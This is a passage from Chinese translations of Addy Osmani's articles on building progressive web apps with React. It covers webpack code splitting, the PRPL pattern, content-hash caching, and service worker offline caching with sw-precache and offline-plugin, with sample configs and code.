[StackOverflow](http://stackoverflow.com/a/39088208) 分享了怎么去处理这个问题。\n*   如果需要优化编译速度，可以看看 [Dll plugin](https://github.com/webpack/docs/wiki/list-of-plugins)，[parallel-webpack](https://www.npmjs.com/package/parallel-webpack) 以及目标的编译。\n*   如果你希望通过 Webpack **异步** 或者 **延迟** 脚本，看看 [script-ext-html-webpack-plugin](https://github.com/numical/script-ext-html-webpack-plugin)\n\n**在 Webpack 编译中检测臃肿**\n\nWebpack 社区有很多建立在 Web 上的编译分析器包括 [http://webpack.github.io/analyse/](http://webpack.github.io/analyse/)，[https://chrisbateman.github.io/webpack-visualizer/](https://chrisbateman.github.io/webpack-visualizer/)，和 [https://alexkuz.github.io/stellar-webpack/](https://alexkuz.github.io/stellar-webpack/)，这些能方便地明确你项目中最大的模块。\n\n[**source-map-explorer**](https://github.com/danvk/source-map-explorer) (来自 Paul Irish) 通过 source maps 来理解代码臃肿，也**超级棒**的。看看这个对 ReactHN Webpack bundle 的 tree-map 可视化，带有每个文件的代码行数，以及百分比的统计分析：\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*D5j-Jv_FVkMigRyZ.)\n\n\n\n你可能也会对来自 Sam Saccone 的 [**coverage-ext**](https://github.com/samccone/coverage-ext) 感兴趣，它可以生成任何 webapp 的代码覆盖率。这个对于理解你的代码中有多少实际会被执行到很有用。\n\n### 代码分割（code-splitting）之上：PRPL 模式\n\nPolymer 发现了一个有趣的 web 性能模式，用于精细服务的 apps，称为 [PRPL](https://www.polymer-project.org/1.0/toolbox/server)（看看 [Kevin 的 I/O 演讲](https://www.youtube.com/watch?v=J4i0xJnQUzU))。这个模式尝试优化交互，各个字母代表：\n\n*   (P)ush，对于初始路由推送关键资源。\n*   (R)ender，渲染初始路由，并使它尽快变得可交互。\n*   (P)re-cache，通过 Service Worker 预缓存剩下的路由。\n*   (L)azy-load，根据用户在应用中的移动懒加载并懒初始化 apps 中对应的部分。\n\n\n![](https://cdn-images-1.medium.com/max/2000/0*2XxuNsDEp1-4VuoU.)\n\n\n\n在这里，我们必须给予 [Polymer Shop demo](https://shop.polymer-project.org/) 大大的赞赏，因为它展示给我们移动设备上的实现方法。使用 PRPL（在这种情况下通过 HTML Imports，从而利用浏览器的后台 HTML parser 的好处）。屏幕上的像素你都可以使用。这里额外的工作在于分块和保持可交互。在一台真实移动设备上，我们可以在 1.75 秒内达到可交互。其中 1.3 秒用于 JavaScript，但它都被打散了。在那以后所有功能都可以用了。\n\n你到现在应该已经成功享受到将应用打碎到更精细的分块的好处了。当用户第一次访问我们的 PWA，假设说他们访问一个特定的路由。服务器（使用 H/2 推送）能够推送下来仅仅那次路由需要的分块 —— 这些是用来启动应用的必要资源，并会进入网络缓存中。\n\n一旦它们被推送下来了，我们就能高效地准备好未来会被加载的页面分块到缓存中。当应用启动后，检查路由并发现我们想要的已经在缓存中了，所以我们就能使得应用的首次加载非常快 —— 不仅仅是闪屏 —— 而是用户请求的可交互内容。\n\n下一步是尽快渲染这个视图的内容。第三步是，当用户在看当前的视图的时候，使用 Service Worker 来开始预缓存所有其他用户还没有请求的分块和路由，将它们安装到 Service Worker 的缓存中。\n\n此时，整个应用（或者大部分）都已经可以离线使用了。当用户跳转到应用的不同部分，我们可以从 Service Worker 的缓存中懒加载下面的部分。不需要网络加载 —— 因为它们已经被预缓存了。瞬间加载碉堡了！❤\n\nPRPL 可以被应用到任何 app，正如 Flipkart 最近在他们的 React 栈上所展示的。完全使用 PRPL 的 Apps 可以利用 HTTP/2 服务器推送的快速加载，通过产生两种编译版本，并根据浏览器的支持提供不同版本：\n\n* 一个 bundled 编译，为没有 HTTP/2 推送支持的服务器/浏览器优化以最小化往返。对大多数人而言，这是现在默认的访问内容。\n\n* 一个没有 bundled 编译，用于支持 HTTP/2 推送的服务器/浏览器，使得首次绘制更快。\n\n这个部分基于我们在之前讨论的路由分块的概念。通过 PRPL，服务器和我们的 Service Worker 协作来为非活动路由预缓存资源。当一个用户在你的 app 中浏览并改变路由，我们对尚未缓存的路由进行懒加载，并创建请求的视图。\n\n### 实现 PRPL\n\n**篇幅过长，没有阅读：Webpack 的 require.ensure() 以及异步的 ‘getComponent’，还有 React Router 是到 PRPL 风格性能模式的最小摩擦路径**\n\n![](https://cdn-images-1.medium.com/max/1600/0*-llrY94drXMjBUW6.)\n\n\nPRPL 的一大部分在于颠覆 JS 打包思维，并像编写时候那样精细地传输资源（至少从功能独立模块角度上）。配合 Webpack，这就是我们已经说过的路由分块。\n\n对于初始路由推送关键资源。理想情况下，使用 [HTTP/2 服务端推送](https://www.igvita.com/2013/06/12/innovating-with-http-2.0-server-push/)，但即便没有它，也不会成为实现类 PRPL 路径的阻碍。即便没有 H/2 推送，你也可以实现一个大致和“完整” PRPL 类似的结果，只需要发送 [预加载头](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) 而不需要 H/2。\n\n看看 Flipkart 他们前后的生产瀑布流：\n\n\n![](https://cdn-images-1.medium.com/max/2000/0*-hLp_Acvig_s4Uop.)\n\n\nWebpack 已经通过 [AggressiveSplittingPlugin](https://github.com/webpack/webpack/tree/master/examples/http2-aggressive-splitting) 的形式支持了 H/2。\n\nAggressiveSplittingPlugin 分割每个块直到它到达了指定的 maxSize（最大尺寸），正如我们在下面的例子里可见的：\n```\n    module.exports = {\n        entry: \"./example\",\n        output: {\n            path: path.join(__dirname, \"js\"),\n            filename: \"[chunkhash].js\",\n            chunkFilename: \"[chunkhash].js\"\n        },\n        plugins: [\n            new webpack.optimize.AggressiveSplittingPlugin({\n                minSize: 30000,\n                maxSize: 50000\n            }),\n    // ...\n```\n查看官方 [plugin page](https://github.com/webpack/webpack/tree/master/examples/http2-aggressive-splitting)，以获得关于更多细节的例子。[学习 HTTP/2 推送实验的课程](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/preview?pref=2&pli=1) 和 [真实世界 HTTP/2](https://99designs.com.au/tech-blog/blog/2016/07/14/real-world-http-2-400gb-of-images-per-day/) 也值得一读。\n\n*   渲染初始路由：这实际上取决于你使用的框架或者库。\n*   预缓存剩下的路由。对于缓存，我们依赖于 Service Worker。[sw-precache](https://github.com/GoogleChrome/sw-precache) 能很好地生成一个 Service Worker 用于静态资源预缓存。对于 Webpack 我们可以使用 [SWPrecacheWebpackPlugin](https://www.npmjs.com/package/sw-precache-webpack-plugin)。\n*   按需懒加载并创建剩下的路由 —— 在 Webpack 领域，可以使用 require.ensure() 和 System.import()。\n\n### 通过 Webpack 的缓存失效和长期缓存\n\n**为什么关心静态资源版本？**\n\n静态资源指的是我们页面中像是脚本，stylesheets 和图片这样的资源。当用户第一次访问我们页面的时候，他们需要其需要的所有资源。比如说当我们加载一个路由的时候，JavaScript 块和上次访问之际并没有改变 —— 我们不必重新抓取这些脚本因为他们已经在浏览器缓存中存在了。更少的网络请求是我们在 web 性能优化中的胜利。\n\n通常地，我们使用对每个文件设置 [expires 头](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=en) 来达到目的。一个 expires 头只意味着我们可以告诉浏览器，避免在指定时间内（比如说1年）发起另一个对该文件的请求到服务器。随着代码演变和重新部署，我们想要确保用户可以获得最新的文件，如果没有改变的话则不需要重新下载资源。\n\n[Cache-busting](https://css-tricks.com/strategies-for-cache-busting-css/) 通过在文件名后面附加字符串来完成这个 —— 他可以是一个编译版本（比如 src=”chunk.js?v=1.2.0”），一个 timestamp 或者别的什么。我倾向于添加一个文件内容的 hash 到文件名（比如 chunk.d9834554decb6a8j.js）因为这个在文件内容发生改变的时候总是会改变。在 Webpack 社区常用 MD5 哈希生成的 16 字节长的“概要”来实现这个目的。\n\n[**通过 Webpack 的静态资源长期缓存**](https://medium.com/@okonetchnikov/long-term-caching-of-static-assets-with-webpack-1ecb139adb95) **是关于这个主题的优秀读物，你应该去看一看。我试图在下面涵盖其涉及到的主要内容。**\n\n**在 Webpack 中通过 content-hashing 来做资源版本控制**\n\n在 Webpack 设置中加上如下内容来启用基于内容哈希的资源版本 [[chunkhash]](https://webpack.github.io/docs/long-term-caching.html)：\n\n    filename: ‘[name].[chunkhash].js’,\n    chunkFilename: ‘[name].[chunkhash].js’\n\n我们也想要保证常规的 [name].js 和 内容哈希 ([name].[chunkhash].js) 文件名在我们的 HTML 文件被正确引用。不同之处在于引用 `<script src=”chunk”.js”>` 和 `<script src=”chunk.d9834554decb6a8j.js”>`。\n\n下面是一个注释了的 Webpack 设置样例，包括了一些其他的插件来使得长期缓存的安装更优雅。\n\n```JavaScript\nconst path = require('path');\nconst webpack = require('webpack');\n// 使用 webpack-manifest-plugin 来生成包含了源文件到对应输出的映射的资源 manifest。Webpack 使用 IDs 而不是模块名来保持生成的文件尽量小。IDs 在它们被放进 chunk（分块）manifest 之前被生成并映射到 chunk 的文件名（会跑到我们的入口 chunk）。不幸的是，任何对代码的改变都会更新入口 chunk 包括新的 manifest，并刷新我们的缓存。\nconst ManifestPlugin = require('webpack-manifest-plugin');\n// 我们通过 chunk-manifest-webpack-plugin 来修复这个问题，它会将 manifest 放到一个完全独立的 JSON 文件。\nconst ChunkManifestPlugin = require('chunk-manifest-webpack-plugin');\nmodule.exports = {\n  entry: {\n    vendor: './src/vendor.js',\n    main: './src/index.js'\n  },\n  output: {\n    path: path.join(__dirname, 'build'),\n    filename: '[name].[chunkhash].js',\n    chunkFilename: '[name].[chunkhash].js'\n  },\n  plugins: [\n    new webpack.optimize.CommonsChunkPlugin({\n      name: \"vendor\",\n      minChunks: Infinity,\n    }),\n    new ManifestPlugin(),\n    new ChunkManifestPlugin({\n      filename: \"chunk-manifest.json\",\n      manifestVariable: \"webpackManifest\"\n    }),\n    // 对非确定的模块顺序的权宜之计。在通过 Webpack 的静态资源长期缓存文章中有更多介绍\n    new webpack.optimize.OccurenceOrderPlugin()\n  ]\n};\n```\n\n现在我们有了这个 chunk-manifest JSON 的编译，我们需要把它内联（inline）到我们的 HTML，那么 Webpack 就能实际在页面启动时真正对其有访问权。所以在 `<script>` 标签中加上上面的输出。\n\n通过使用 [html-webpack-plugin](https://github.com/ampedandwired/html-webpack-plugin) 可以实现自动将脚本内联到 HTML 中。\n\n注意：Webpack 理想上可以通过 [no shared ID range](https://jakearchibald.com/2016/caching-best-practices/) 来简化启用长期缓存的步骤（见~4–1）。\n\n如果要学习更多 HTTP 的 [缓存最佳实践](https://jakearchibald.com/2016/caching-best-practices/)，可以阅读 Jake Archibald 的优秀文章。\n\n### 更多阅读\n\n*   [Webpack 关于代码分割的文档](https://webpack.github.io/docs/code-splitting.html)\n*   Formidable 的关于 Webpack 的 OSS Playbook [代码分割](https://formidable.com/open-source/playbook/docs/frontend/webpack-code-splitting/) and [shared libraries](https://formidable.com/open-source/playbook/docs/frontend/webpack-shared-libs/)\n*   [使用 Webpack 的渐进式 Web Apps](http://michalzalecki.com/progressive-web-apps-with-webpack)\n*   [高级 Webpack Part 2&#8202;—&#8202;代码分割](https://getpocket.com/redirect?url=http%3A%2F%2Fjonathancreamer.com%2Fadvanced-webpack-part-2-code-splitting%2F&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [为现代 web 应用程序通过代码分割来渐进加载](https://medium.com/@lavrton/progressive-loading-for-modern-web-applications-via-code-splitting-fb43999735c6#.1965mrwlr)\n*   [在 React 组件中异步加载依赖](https://getpocket.com/redirect?url=https%3A%2F%2Ftailordev.fr%2Fblog%2F2016%2F03%2F17%2Floading-dependencies-asynchronously-in-react-components%2F&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [我们继续前进在 Webpack 插件 DLL](https://medium.com/@soederpop/webpack-plugins-been-we-been-keepin-on-the-dll-cdfdd6cb8cd7)\n*   [自动代码分割用于 React Router 和 ES6 Imports&#8202;—&#8202;Modus Create](https://getpocket.com/redirect?url=https%3A%2F%2Fmedium.com%2Fmodus-create-front-end-development%2Fautomatic-code-splitting-for-react-router-w-es6-imports-a0abdaa491e9%23.twoltv57f&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [使用 webpack 和 react-router 于懒加载和代码分割没有去加载](https://getpocket.com/redirect?url=http%3A%2F%2Fstackoverflow.com%2Fquestions%2F34925717%2Fusing-webpack-and-react-router-for-lazyloading-and-code-splitting-not-loading&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [在现实生活通过 React 同构/通用渲染/路由/数据抓取](https://reactjsnews.com/isomorphic-react-in-real-life)\n*   [一个懒得同构 React 实验](https://getpocket.com/redirect?url=http%3A%2F%2Fblog.scottlogic.com%2F2016%2F02%2F05%2Fa-lazy-isomorphic-react-experiment.html&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [服务端渲染懒路由](https://getpocket.com/redirect?url=https%3A%2F%2Fgithub.com%2Fryanflorence%2Fexample-react-router-server-rendering-lazy-routes&amp;formCheck=0b0d10781e025a205b05e2941ffdc845) 基于 React Router 和代码分割\n*   [给初学者的 React 在服务端&#8202;—&#8202;构建一个通用的 React app](https://scotch.io/tutorials/react-on-the-server-for-beginners-build-a-universal-react-and-node-app)\n*   [有页面的 React.js Apps](https://getpocket.com/redirect?url=http%3A%2F%2Fblog.mxstbr.com%2F2016%2F01%2Freact-apps-with-pages%2F&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [将世界银行数据网站构建为使用代码分割的快速加载单页应用](https://getpocket.com/redirect?url=https%3A%2F%2Fwiredcraft.com%2Fblog%2Fcode-splitting-single-page-app%2F&amp;formCheck=0b0d10781e025a205b05e2941ffdc845)\n*   [在 Gatsby 实现 PRPL（React.js 静态网站生成器）](https://github.com/gatsbyjs/gatsby/issues/431)\n\n#### 高级模块打包优化读物\n\n*   [模块化的代价](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)\n*   [RollUp 和 Closure Compiler 如何减轻模块的代价](https://twitter.com/nolanlawson/status/768525330113925121)\n*   [在 2016 年转译 ES2015 的代价](https://github.com/samccone/The-cost-of-transpiling-es2015-in-2016)\n\n在系列文章第三篇中，我们会来看看 [**怎么使你的 React PWA 能离线和断续的网络状态下工作**](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-3-offline-support-and-network-resilience-c84db889162c#.tcspudthd).\n\n如果你新接触 React，我发现 Wes Bos 写的 [给新手的 React](https://goo.gl/G1WGxU) 很棒。\n\n**感谢 Gray Norton, Sean Larkin, Sunil Pai, Max Stoiber, Simon Boudrias, Kyle Mathews 和 Owen Campbell-Moore 的校对。**\n"
  },
  {
    "path": "TODO/progressive-web-apps-with-react-js-part-3-offline-support-and-network-resilience.md",
    "content": "> * 原文地址：[Progressive Web Apps with React.js: Part 3 — Offline support and network resilience](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-3-offline-support-and-network-resilience-c84db889162c#.i71vp23vj)\n* 原文作者：[Addy Osmani](https://medium.com/@addyosmani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jiang Haichao](http://github.com/AceLeeWinnie)\n* 校对者：[Gocy](https://github.com/Gocy015), [David Lin](https://github.com/wild-flame)\n\n# 使用 React.js 的渐进式 Web 应用程序：第 3 部分 - 离线支持和网络恢复能力\n\n### 本期是新[系列](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-i-introduction-50679aef2b12#.ysn8uhvkq)的第三部分，将介绍使用 [Lighthouse](https://github.com/googlechrome/lighthouse) 优化移动 web 应用传输的技巧。 并看看如何使你的 React 应用离线工作。\n\n一个好的渐进式 Web 应用，不论网络状况如何都能立即加载，并且在不需要网络请求的情况下也能展示 UI （即离线时)。\n\n![](https://cdn-images-1.medium.com/max/2000/1*O7K0EvTJ8P8VmqhLALZBzg.png)\n\n再次访问 Housing.com 渐进式 Web 应用（使用 React 和 Redux 构建）能够[立即](https://www.webpagetest.org/video/compare.php?tests=160912_0F_229-r%3A1-c%3A1&thumbSize=200&ival=100&end=visual)加载离线缓存的 UI。\n\n我们可以用 [Service Worker](https://developers.google.com/web/fundamentals/getting-started/primers/service-workers?hl=en) 实现这一需求。Service Worker 是一个后台 worker，可以看做是可编程的代理，允许开发者控制 request 执行其他操作。使用 Service Worker，React 应用得以（部分或全部）离线工作。\n\n![](https://cdn-images-1.medium.com/max/2000/1*sNDoPikstWvIuKY9HphuSw.png)\n\n你能够掌控离线时 UX 的可用程度。你可以只离线缓存应用的外壳，全部数据（就像 ReactHN 缓存 stories 一样），或者像 Housing.com 和 Flipkart 那样，提供有限但有帮助的静态旧数据。并且均通过置灰 UI 蒙层来暗示已离线，这样就能够感知“实时”价格还未同步。\n\nService worker 实际上依赖两个 API：[Fetch](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) (通过网络重新获取内容的标准方式) 和 [Cache](https://developer.mozilla.org/en-US/docs/Web/API/Cache)（应用数据的内容存储，此缓存独立于浏览器缓存和网络状态）。\n\n**注意：Service worker 能够应用于渐进式增强。尽管浏览器支持程度还[有待](https://jakearchibald.github.io/isserviceworkerready/)提升，但只要网络畅通，不支持此特性的用户也能充分体验 PWA （渐进式 Web 应用程序）。**\n\n### 高级特性基础\n\nService worker 也设计作为基础 API，让 web 应用更像 native 应用。具体包括：\n\n* [推送 API](https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/) - 启用 web 应用消息推送服务。服务器能够任意发送消息，即使 web 应用或浏览器不在工作状态。\n* [后台同步](https://developers.google.com/web/updates/2015/12/background-sync?hl=en) - 延迟处理直到用户网络连接稳定为止。这能方便保证用户消息的正确发送。应用下次在线时能够启动自动定期更新。\n\n### Service Worker 生命周期\n\n每个 [Service Worker](https://developers.google.com/web/fundamentals/getting-started/primers/service-workers?hl=en) 的生命周期有三步：注册，安装和激活。**[Jake Archibald 的这篇文章有更详细的说明](https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle)**\n\n#### 注册\n\n如果要安装 Service Worker，你需要在脚本里注册它。注册后会通知浏览器定位你的 Service Worker 文件，并启动后台安装。在 index.html 中的基本注册方法如下： \n\n    // Check for browser support of service worker\n    if ('serviceWorker' in navigator) {\n\n     navigator.serviceWorker.register('service-worker.js')\n     .then(function(registration) {\n       // Successful registration\n       console.log('Hooray. Registration successful, scope is:', registration.scope);\n     }).catch(function(err) {\n       // Failed registration, service worker won’t be installed\n       console.log('Whoops. Service worker registration failed, error:', error);\n     });\n\n    }\n\n使用 navigator.serviceWorker.register 注册，注册成功后返回一个 resolve 状态的 Promise 对象。作用域是 registration.scope。\n\n#### 作用域\n\nService Worker 的作用域由拦截请求的路径决定。**默认**作用域是 Service Worker 文件所在路径。如果 service-worker.js 在根目录下，则 Service Worker 将控制该域名下所有文件的访问请求。你可以通过在注册时传入其他参数来改变作用域。\n\n    navigator.serviceWorker.register('service-worker.js', {\n     scope: '/app/'\n    });\n\n#### 安装和激活\n\nService workers 是事件驱动的。安装和激活方法由对应的安装和激活事件触发，由 Service Worker 响应。\n\nService Worker 注册之后，用户第一次访问 PWA 时，install 事件触发，此时确定页面需要缓存的静态资源。当 Service Worker 被认为是**新**的时才会触发该事件，即要么是页面第一次加载 Service Worker 文件，要么是当前文件与之前安装的文件不同，哪怕是一个字节不同，都会被认为是新的。如果你想在有机会控制客户端之前缓存东西，那么 install 是关键所在。\n\n我们可以使用以下代码为静态应用添加最基本的缓存：\n\n    var CACHE_NAME = 'my-pwa-cache-v1';\n    var urlsToCache = [\n      '/',\n      '/styles/styles.css',\n      '/script/webpack-bundle.js'\n    ];\n\n    self.addEventListener('install', function(event) {\n      event.waitUntil(\n        caches.open(CACHE_NAME)\n          .then(function(cache) {\n            // Open a cache and cache our files\n            return cache.addAll(urlsToCache);\n          })\n      );\n    });\n\naddAll() 传入一个 URL 数组，请求并获取文件，然后添加到缓存中去。如果任一步骤获取/写入失败，整个操作失败，并且缓存回退到它的上一个状态。\n\n拦截和缓存请求\n\n当 Service Worker 控制页面时，它能够拦截页面发起的每个请求，并且决定如何处理。这使得它有点像后台代理。我们用它来拦截到 urlsToCache 列表的请求，接着返回资源的本地版本，而不是走网络获取资源。这通过在 fetch 事件上绑定处理方法实现：\n\n    self.addEventListener('fetch', function(event) {\n        console.log(event.request.url);\n        event.respondWith(\n            caches.match(event.request).then(function(response) {\n                return response || fetch(event.request);\n            })\n        );\n    });\n\n在 fetch 监听器中（具体的说是 event.respondWith），向 caches.match() 方法传入一个 promise 对象，这个能够监听请求和从 Service Worker 创建的条目中发现缓存。如果有匹配的缓存响应，返回对应的值。\n\n这就是 Service Worker。以下是学习 Service Worker 可用的免费资源。\n\n*   基于 Web 基本原理的 [Service Worker 入门](https://developers.google.com/web/fundamentals/getting-started/primers/service-workers#install_a_service_worker)\n*   [你的第一个离线 webapp](https://developers.google.com/web/fundamentals/getting-started/your-first-offline-web-app/?hl=en)，web 基本原理编程实验室\n*   [Udacity 基于 Service Worker 的离线 Web 应用教程](https://www.udacity.com/course/offline-web-applications--ud899)\n*   推荐 [Jake Archibald 的离线小书](https://jakearchibald.com/2014/offline-cookbook/)。\n*   [基于 Webpack 的渐进式 Web 应用](http://michalzalecki.com/progressive-web-apps-with-webpack/) 也是一个很棒的指南，学h会如何用基础 Service Worker 代码启用离线缓存（如果你不喜欢用库的话）。\n\n**如果第三方 API 想要部署他们自己的 Service Worker 来处理其他域传来的请求，[Foreign Fetch](https://developers.google.com/web/updates/2016/09/foreign-fetch?hl=en) 可以帮忙。这对于网络化逻辑自定义和单个缓存实例响应定义都有帮助。**\n\n探索 - 自定义离线页面\n\n![](https://cdn-images-1.medium.com/max/1600/1*CMx4sTcd3j8pPlkE0I_cfg.png)\n\n基于 React 的 mobile.twitter.com 用 Service Worker 在网络不可达时提供自定义离线页面。\n\n为用户提供有意义的离线体验（例如：可读内容）是一个很好的目标。也就是说，在早期的 Service Worker 实验中，你会发现设置自定义离线页面是很小但正确的决定。这里有许多优秀的 [案例](https://googlechrome.github.io/samples/service-worker/custom-offline-page/index.html) 展示如何实现它。\n\nLighthouse\n\n如果你的应用在离线时有充分的用户体验，在遇到 Lighthouse 检测的如下条件时，就会全部通过。\n\n![](https://cdn-images-1.medium.com/max/1600/1*xzaEpLzD6uDBngkU5YD9OA.jpeg)\n\n**start_url 便于检查用户从主界面打开 PWA 时使用离线缓存的体验情况，这项检查能够发现许多的问题，所以要确保 start_url 在你的 Web 应用的 manifest 中。**\n\nChrome 开发工具\n\n开发工具通过应用选项卡支持 「调试 Service Worker」 和 「模拟脱机连通性」。\n\n![](https://cdn-images-1.medium.com/max/1600/0*UX83F86-oPO1HVbt.)\n\n强烈推荐使用 3G 节流（和 Timeline 面板的 CPU 节流）开发，模拟低端硬件上应用在脱机和网络差的情况下的表现。\n\n![](https://cdn-images-1.medium.com/max/1600/0*DH3EoEO_aHbXw_mx.)\n\n### 应用外壳架构\n\n应用程序外壳（或者应用外壳）架构是构建可靠的和在客户机立即加载的渐进式 Web 应用的一个方法，与 native 应用类似。\n\n应用“外壳” 是最小化的 HTML，CSS 和 JavaScript，要求为用户接口赋能（想想 toolbars，drawers 等等），确保用户重复访问时即时可靠的性能表现。这意味着应用程序外壳不需要每次都下载，只需要网络获取少量必要内容即可。\n\n![](https://cdn-images-1.medium.com/max/2000/0*qhxO_uA-_A6WV_Pc.)\n\nHousing.com 使用了内容占位符的应用外壳。一旦全部下载完成，立即填充占位，此举有助于提升感官性能。\n\n对于富 JavaScript 架构的 [单页应用](https://en.wikipedia.org/wiki/Single-page_application) 来说，应用外壳是首选方法。这个方法依赖外壳的缓存（利用 [Service Worker](https://github.com/google/WebFundamentals/blob/99046f5543e414261670142f04836b121eb2e7d5/web/fundamentals/primers/service-worker)）来运行程序。其次，用 JavaScript 加载每个页面的动态内容。在无网络情况下，应用外壳有助于更快的获取屏幕的起始 HTML 页面。外壳可以使用 [Material UI](http://www.material-ui.com/) 或是自定义风格。\n\n**注意：参考 [第一个渐进式 Web 应用](https://codelabs.developers.google.com/codelabs/your-first-pwapp/#0) 学习设计和实现第一个应用外壳程序，以天气应用为样例。[用应用外壳模型实现立即加载](https://www.youtube.com/watch?v=QhUzmR8eZAo) 同样探讨了这个模式。**\n\n![](https://cdn-images-1.medium.com/max/1200/0*ssjtA1rSYhk61_iU.)\n\n我们利用 Cache Storage API（通过 Service Worker）离线缓存外壳，目的是当重复访问时，应用外壳能够立即加载，这样就能在无网络情况下快速获取屏幕信息，即使内容最终还是来自网络。\n\n记住你可以使用更简单的 SSR 或者 SPA 架构开发 PWA，但它没有同样的性能优势并且更依赖全页缓存。\n\n### 利用 Service Worker 启动低成本缓存\n\n这里列举两个用于不同离线场景的库：[sw-precache](https://github.com/GoogleChrome/sw-precache) 会自动事先缓存静态资源，[sw-toolbox](https://github.com/GoogleChrome/sw-toolbox) 处理运行时缓存以及回退策略。这两个库一起使用能达到互补的效果，需要提供静态内容外壳的性能策略时，总是从缓存中直接获取，而动态的或远程的资源则通过网络请求提供，需要时回退到缓存或静态响应里。\n\n应用外壳缓存：静态资源（HTML, JavaScript, CSS 和 images）提供 web 应用的核心外壳。Sw-precache 确保绝大多数这类静态资源都被缓存下来，并且保持更新。预缓存一个网站离线工作需要的所有资源显然是不现实的。\n\n运行时缓存：一些过于庞大或者很少使用的资源，还有一些动态资源，像来自远程 API 或服务的响应。没有预缓存的请求并不一定要响应网络错误。sw-toolbox 让我们得以灵活实现请求的处理，这能够处理某些资源的运行时缓存和其他资源的自定义回退。\n\n**sw-toolbox 支持大多数不同缓存策略，包括网络优先（确保可用数据是最新的，而不是读取缓存），缓存优先（匹配请求与缓存列表，如果资源不存在则发起网络请求），速度优先（同时从缓存和网络请求资源，响应最快的返回结果）。了解这些方法的 [优劣](https://developers.google.com/web/fundamentals/instant-and-offline/offline-cookbook/) 十分重要。**\n\n![](https://cdn-images-1.medium.com/max/2000/1*E2m37hLNWAjXw_-B8A8n-Q.png)\n\n**许多网站都在各自的渐进式 Web 应用里利用 sw-toolbox 和 sw-precache 进行离线缓存，例如 Housing.com，the NFL，Flipkart，Alibaba，the Washington Post 等等。也就是说，我们能够一直关注反馈和优化方案。**\n\n#### React app 中的离线缓存\n\n利用 Service Worker 和 Cache Storage API 缓存 URL 的可访问内容能够通过以下这些不同的方式：\n\n*   使用 Service Worker 基础 API。[GoogleChrome 样例](https://github.com/GoogleChrome/samples/tree/gh-pages/service-worker) 和 Jake Archibald 的 [离线小书](https://jakearchibald.com/2014/offline-cookbook/) 上有许多使用不同缓存策略的样例.\n*   在 package.json 脚本域中用一行代码就能启用 [sw-precache](https://github.com/GoogleChrome/sw-precache) 和 [sw-toolbox](https://github.com/GoogleChrome/sw-toolbox)。[ReactHN 的例子在这里](https://github.com/insin/react-hn/blob/master/package.json#L12)\n*   在 Webpack 配置中使用类似 [sw-precache-webpack-plugin](https://www.npmjs.com/package/sw-precache-webpack-plugin) 或者 [offline-plugin](https://github.com/NekR/offline-plugin) 的插件。 [react-boilerplate](https://github.com/mxstbr/react-boilerplate) 这个启动工具包已经默认包含它了。\n*   [使用 create-react-app 和 Service Worker 库](https://github.com/jeffposnick/create-react-pwa) 仅几行代码就能添加离线缓存支持（类似上一条）。\n\n了解使用这些 SW 库构建一个 React 应用的讨论也是大有裨益的：\n\n*   [面向 Lighthouse (PWA 提交)](https://www.youtube.com/watch?v=LZjQ25NRV-E)\n*   [跨框架的渐进式 Web 应用](https://www.youtube.com/watch?v=srdKq0DckXQ)\n\n#### sw-precache 对比 offline-plugin\n\n正如上文提到，[offline-plugin](https://github.com/NekR/offline-plugin) 是另一个库，用于添加 Service Worker 缓存到页面。它设计理念是最小化配置（目标是零配置) 和 Webpack的深度整合。当 Webpack 的 publicPath 配置了，它能够自动为缓存生成 relativePaths，而不需要再指定其他配置。对静态网站来说，offline-plugin 是一个很好的 sw-precache 的替代品。如果你用的是 HtmlWebpackPlugin，offline-plugin 还能缓存 .html 页面。\n\n    module.exports = {\n      plugins: [\n        // ... other plugins\n        new OfflinePlugin()\n      ]\n    }\n\n我在 [渐进式 Web 应用的离线缓存](https://medium.com/dev-channel/offline-storage-for-progressive-web-apps-70d52695513c) 中讲了其他类型数据的离线存储策略。尤其是 React，如果你正关注添加数据仓库到缓存或正使用 Redux，你会对 [坚持 Redux](https://github.com/rt2zz/redux-persist) 和 [Redux 复制本地搜索](https://github.com/loggur/redux-replicate-localforage) 感兴趣的（后者压缩后约 8 KB）。\n\n### 迷你案例学习：为 ReactHN 添加离线缓存\n\nReactHN 一开始是没有离线缓存的单页应用。我们按步骤添加离线缓存：\n\n第一步：用 sw-precache 为应用 “外壳” 离线缓存静态资源。通过调用 package.json 里 script 域的 sw-precache CLI 工具，每次构建完成时产生一个 Service Worker 用于预缓存外壳\n\n    \"precache\": \"sw-precache — root=public — config=sw-precache-config.json\"\n\n这份预缓存配置文件通过上面的命令传递，可以控制引入的文件和 helper 脚本：\n\n    {\n      \"staticFileGlobs\": [\n        \"app/css/**.css\",\n        \"app/**.html\",\n        \"app/js/**.js\",\n        \"app/images/**.*\"\n      ],\n      \"verbose\": true,\n      \"importScripts\": [\n        \"sw-toolbox.js\",\n        \"runtime-caching.js\"\n      ]\n    }\n\n![](https://cdn-images-1.medium.com/max/1600/1*hkRHp9ZklNy1uNuQI0znEw.png)\n\nsw-precache 在输出结果中列出将离线缓存的静态资源总大小。这有利于明白多大的应用外壳和资源能够保证良好的交互体验。\n\n**注意：如果现在开始做离线缓存功能，我会只用 [_sw-precache-webpack-plugin_](https://www.npmjs.com/package/sw-precache-webpack-plugin) 从标准 Webpack 配置中直接配置：**\n\n    plugins: [\n        new SWPrecacheWebpackPlugin(\n          {\n            cacheId: \"react-hn\",\n            filename: \"my-service-worker.js\",\n            staticFileGlobs: [\n              \"app/css/**.css\",\n              \"app/**.html\",\n      